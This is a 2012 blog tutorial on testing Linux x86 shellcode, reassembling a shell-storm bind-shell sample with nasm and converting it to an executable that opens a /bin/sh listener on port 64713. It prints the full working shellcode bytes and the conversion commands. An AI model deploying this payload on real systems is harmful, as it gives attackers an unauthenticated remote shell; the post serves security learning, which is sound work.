Friday, February 17, 2012

Fun with Shellcode

Giving the nature of the beast and the three of us like to explore and play with many varieties of ways to exploit things, I thought that I would dive a little into playing with shellcode.

The reason I thought that I would talk about this are muti factor. Let me entertain some questions. If you are a pentester and you do not have your handy dandy metasploit to generate your payload for you, what do you do? do you trust that "\x90\x6a\x66\" that you pulled from exploit-db or others without even seeing the assembly?

With these questions in mind let's dive in and explore some the pitfalls and issues that you will probably encounter on your way to the shell code playground.

So you want to play with shellcode huh?

So lets set the stage that you in the need for some shell code to do a bind shell on linux but you don't have a shell code generator. So casually make your way over to exploit-db or shell-storm and you find some shellcode but you are not sure how to use it or what it does. How do you test the shellcode to make sure that it works? Ok so I take a deep breath and browse over to another page that has the objdump or the binary. For reference this is what we will first be working off of http://www.shell-storm.org/shellcode/files/shellcode-515.php . Ok there are many approaches to tackling this and I will go the most manual way for the sake of learning. The first thing that I want to try is taking the assembly and putting it into my own file and nasm the thing. So with this in mind I copy the text from the page to test.asm file  and I write a quick oneliner (yeah I know oneliners are for the bar not computers, meh).

$ cat test.asm | grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|cut -d '"' -f 2 |paste -d '' -s


\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80


Let me step back for a second, why didn't we just dump the assembly and compile it and run it. let's do this and see what happens. The first thing is that we need to strip out all the junk so that it looks like good assembly.

$ cat test.asm | cut -d '/' -f3 | sed 's/%//g' | sed 's/\$//g' | sed 's/<//g' | sed 's/>//g' > 515.asm

This is gives us what looks like some good code but looking at the code I do somethings that are a little off  " 0x66,al"  this looks a little backwards but lets just roll with it and see. So we now compile it to see if we can execute it .

$ nasm -f elf 515.asm
515.asm:21: error: invalid combination of opcode and operands
515.asm:23: error: invalid combination of opcode and operands
515.asm:31: error: invalid combination of opcode and operands
515.asm:47: error: invalid combination of opcode and operands

well taking a look at 515.asm we can see that at these locations we do have an issue with "0x66,al" we will get into this some other time, so after a little manipulation we have fixed the issue.

$ cat 515.asm | sed 's/0x66,al/al, 0x66/g' | sed 's/0xb,al/al, 0xb/g' > 515b.asm

$ nasm -f elf 515b.asm



$ file 515b.o
515b.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped



The final step is that we need to get it working so lets do this.

$ ld -o 515b 515b.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060



$ ./515b
Segmentation fault

So what happened? We did everything right didn't we? according to all the tutorials and such yeah we did. Having a look at the "objdump -d 515b" the assembly things looks good. We could dive deeper into this but instead we are just going to power forward and get this thing working.  How we are going to do this is standing on the shoulders of other smart people. We are going to take a python script that was written by Mario Vilas and tweaked by Anand Sastry that utilizes CORE's InlineEgg package. See the references for all the links. Getting inlineEgg installed is as easy as "python setup.py install" . Once you have inlineEgg installed all you need to do is download the shellcode2exe.py from here: http://zeltser.com/reverse-malware/shellcode2exe.py.txt . Once you download it you just need to change the extension by removing the .txt or if you choose to just copy the code to your own file .py

The usage is brilliantly simple:

$ python shellcode2exe.py
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Usage:
    shellcode2exe.py payload.bin [payload.exe]
        [--arch=i386|powerpc|sparc|arm]
        [--os=windows|linux|freebsd|openbsd|solaris]
        [-c Allow for ascii shellcode as a cmd line parameter]
        [-s Allows for ascii shellcode in file]

Options:
  -h, --help            show this help message and exit
  -a ARCH, --arch=ARCH  target architecture [default: i386]
  -o OS, --os=OS        target operating system [default: windows]
  -c, --asciicmd        enable ascii entry in input file
  -s, --asciifile       enable ascii entry in command line


So with this we will take the assembly and see what we get.

$ python ../shellcode2exe.py -o linux -c "\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xe1\x43\xb0\x66\xcd\x80\x93\x6a\x03\x59\x49\x6a\x3f\x58\xcd\x80\x75\xf8\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 515c
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Treating first parameter as \x encoded shellcode
Generating executable file
Writing file 515c
Done.
 

$ ./515c


$ netstat -pant 
tcp        0      0 0.0.0.0:64713           0.0.0.0:*               LISTEN      26789/515c 

Woot! we have a bind shell listening on 64713 so this method works. This was with the shellcode taken from page what about from the assembly we compiled our self. lets go for it but take it from 515b , the file that didn't work.

$ objdump -d 515b |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\x68\x66\x00\x00\x00\x58\x31\xdb\x53\x43\x53\x68\x02\x00\x00\x00\x89\xcc\xcd\x80\x31\xd2\x52\x68\xff\x02\xfc\xc9\x89\xcc\x68\x10\x00\x00\x00\x51\x50\x89\xcc\x89\xf0\x43\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x56\x89\xcc\x43\xb0\x66\xcd\x80\x93\x68\x03\x00\x00\x00\x59\x49\x68\x3f\x00\x00\x00\x58\xcd\x80\x75\xf5\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xdc\xb0\x0b\xcd\x80"


With this you will see that nasm interpreted a few things a little wrong by doing a "push immediate word" instead of a "push immediate byte" . Also we can see that we needed to flip the ecx,esp to give us our "e1" instead of "cc". So we make the necessary changes and delete the null bytes since those are not needed and we end up with the correct shellcode that gives us our nice binary with shellcode2exe.py.

Given the exercise you can now begin to use assembly files to test locally before you deploy on a real engagement and allow you to write or manipulate code on your own. It also gives you the ability to overcome a few hurdles that many people come across when playing with shellcode.

In the coming posts I have created a TinyCore remaster that includes the custom program that we designed along with the above code so that you can get you hand dirty on a boot-able image.

References:

http://zeltser.com/reverse-malware/convert-shellcode.html
http://breakingcode.wordpress.com/2010/01/18/quickpost-converting-shellcode-to-executable-files-using-inlineegg/
http://zeltser.com/reverse-malware/shellcode2exe.py.txt
http://oss.coresecurity.com/projects/inlineegg.html
http://www.shell-storm.org


6 comments:

  1. Nice article...but i dont have a shellcode2exe.py file after install the inlineegg...

    ReplyDelete
  2. Chris, good catch i kind of breezed over that little piece. I made the changes to reflect how to get shellcode2exe. Quickly the file is located here http://zeltser.com/reverse-malware/shellcode2exe.py.txt

    ReplyDelete
  3. The assembler you extracted from the shellcode page is in AT&T syntax. NASM only uses Intel syntax (which is what you are most used to seeing). This is why NASM failed to assemble it correctly - it tried to assemble it assuming it was in Intel syntax.

    http://asm.sourceforge.net/articles/linasm.html has a good description of the differences in the syntax.

    Great job on the post! Looking forward to many more!

    ReplyDelete
  4. Tyler, thanks for the comment and the explanation. I was planning on taking this a little further on the next posts and using a sed script that converts between at&t and intel and diving into other code and then some 16bit code.

    ReplyDelete
  5. Awesome! Looking forward to that!

    ReplyDelete
  6. Using Kaspersky security for many years now, and I'd recommend this anti virus to everybody.

    ReplyDelete